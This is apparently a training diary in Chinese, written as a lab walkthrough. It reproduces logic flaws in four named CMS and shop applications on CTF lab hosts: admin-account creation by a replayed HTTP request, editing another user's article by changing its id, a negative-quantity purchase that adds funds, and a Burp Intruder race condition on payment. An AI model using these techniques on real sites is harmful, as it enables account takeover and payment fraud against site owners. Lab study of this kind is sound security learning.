DAY25:逻辑漏洞复现
1、phpaacms垂直漏洞复现
进入靶场,发现是phpaa
,那么进后台
可以发现admin、admin
可以登陆进去…
点击管理员账户,添加账号,抓个包看看,
可以看到是
POST /admin/user.action.php HTTP/1.1
Host: b1f304f8.lxctf.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: http://b1f304f8.lxctf.net
Connection: close
Referer: http://b1f304f8.lxctf.net/admin/user.add.php?act=add
Cookie: lastURL=http%3A%2F%2Fb1f304f8.lxctf.net%2Fadmin%2Findex.php; username=admin; PHPSESSID=36vsbut8v7ajjg45okpcsv8gb0
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
act=add&username=asd&password=asd&password2=asd&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0
/admin/user.action.php
act=add&username=asd&password=asd&password2=asd&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0
这两句是关键代码,回到之前的页面
随便输入个账户,抓包
我们可以将 /admin/login.action.php
改为/admin/user.action.php
,将最下面的内容改为
act=add&username=asd&password=asd&password2=asd&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0
act=add&username=666&password=123456&password2=123456
使用 POST 传参,点击发包
可以发现还是原来的页面,登录刚才输入的内容,点击登录,成功!!!
2、Catfishcms水平越权漏洞复现
打开目标网页发现是Catfishcms
首先需要两个作者权限的账号test11
和test22
,test11
是被越权的账号,test22
是实施越权的账号
test11:123456 && test22:123456
先使用test11的账户写一篇文章进行发布。
然后在所有文章里即可打开、编辑或者删除文章
可以查看到test11发布的这篇文章,以及如下图红框中所示的文章id
换test22账号登录,同样写一篇文章
在所有文章里选择自己发布的文章点击编辑,并进行抓包,将数据包中art=7
更改为test11文章的id5
可以看到已经变为了test11
的文章
成功
3、大米cms–0元支付逻辑漏洞
进入目标页面,点击注册账号,这里注册为111/111
自动跳转到登录页面,使用111/111进行登录。
登录成功后跳转到会员中心页面
点击在线充值、我要提现,看到当前余额是0
点击产品展示、大米测试产品
点击立即购买
填写完整送货地址,将付款方式修改为站内扣款
点击提交订单,同时使用burp进行抓包操作
将qty
参数修改为-1,然后点击Forward
,并取消抓包
可以看到订单已经提交成功了
此时查看提现页面的余额已经变为6000,也就是将订单中的-6000反加到了账户余额中
利用0元支付漏洞,在网站商城进行购买操作时,可无需支付货币,对商城造成极大危害。
应明确业务逻辑,防止出现此情况
4、Bugscan–支付竞争漏洞
首先访问网站,查看页面信息。 需花费至少21元购买flag,但是当前余额只有20元。可利用条件竞争的方式进行逻辑绕过
输入框输入20,点击购买,进行抓包
发送到Intruder
,clear
清除变量使用无payload
线程调高,100线程
点击 start attack
开始爆破,进行条件竞争,这里还需要将页面的抓包关闭,在爆破期间重复点击重置或者刷新,当页面出现负数时,成功